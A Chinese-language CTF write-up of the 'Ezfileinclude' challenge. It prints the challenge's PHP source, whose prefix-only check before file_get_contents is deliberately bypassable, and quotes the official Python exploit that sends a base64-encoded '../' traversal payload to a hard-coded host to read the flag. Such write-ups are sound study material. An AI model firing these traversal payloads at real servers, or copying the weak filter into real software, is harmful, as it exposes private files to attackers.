Ezfileinclude
1. 先介紹一下自己在做題中的問題。
打開題目是一個簡單的頁面,F12查看源代碼,發現一個image.php?t=1595656230&f=Z3F5LmpwZw==
然后仔細一看,發現t表示時間戳,f是表示文件名。解密之后是gqy.jpg。
2. 大致思路
我們需要獲得當前的時間戳,和需要包含的文件名去讀取flag文件。
3. 問題
自己在做題的時候不該怎么樣操作都不能獲得flag文件?問題可能是路徑不對?文件名不對?
但是我嘗試獲得index.php文件的時候也沒有獲取成功。和嘗試獲取/etc/passwd也沒有成功?
說明肯定有問題?
最后嘗試獲得/gqy.jpg,居然成功了!!!但是當時沒有發現問題
4. 查看官方的wp
查看了官方的wp之后從發現,$file是進行了拼接操作的!
所以我們可以獲得/gqy.jpg,其他的不能獲得。
之后查看了源代碼
<?php
if(!isset($_GET['t']) || !isset($_GET['f'])){
echo "you miss some parameters";
exit();
}
$timestamp = time();
if(abs($_GET['t'] - $timestamp) > 10){
echo "what's your time?";
exit();
}
$file = base64_decode($_GET['f']);
if(substr($file, 0, strlen("/../")) === "/../" || substr($file, 0, strlen("../")) === "../" || substr($file, 0, strlen("./")) === "./" || substr($file, 0, strlen("/.")) === "/." || substr($file, 0, strlen("//")) === "//") {
echo 'You are not allowed to do that.';
}
else{
echo file_get_contents('/var/www/html/img/'.$file);
}
?>
發現確實是進行了拼接操作,file拼接了前面的/var/www/html/img
5. 解題
現在查看了源代碼,這樣就方便多了。
我們在看waf代碼這一塊。是使用了substr()函數和strlen()函數來進行判斷。
過濾原則是:用戶輸入的file進行截取前面4位或者3位或者2位判斷是不是存在/../,../等等
我們在本地實驗看看如何繞過。
第一次我們正常輸入是直接攔截了的
如果我們在前面添加其他目錄在進行穿越,只有滿足前4位不能規定的符號就可以繞過。
發現直接繞過成功。
6. payload
這里附上官方的exp(由於本人python比較菜還不會寫py)
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 穎奇L'Amore www.gem-love.com
import requests as req#重新命名
import base64 as b
import time as t
from urllib.parse import quote_plus as urlen
HOST = "http://183.129.189.60:10009/image.php?t={}&f=".format(int(t.time()))#h獲得當前的時間戳給參數
file = 'y1ng/../../../../../../../flag'#構造file
file = b.b64encode(file.encode("utf-8")).decode("utf-8")#對file進行base64加密
url = HOST+urlen(file)#拼接參數
print(req.get(url).text)#打印結果
7. 總結
在進行文件包含的時候,可能存在一定的waf,和對file進行拼接。
需要多多思考,想辦法繞過waf.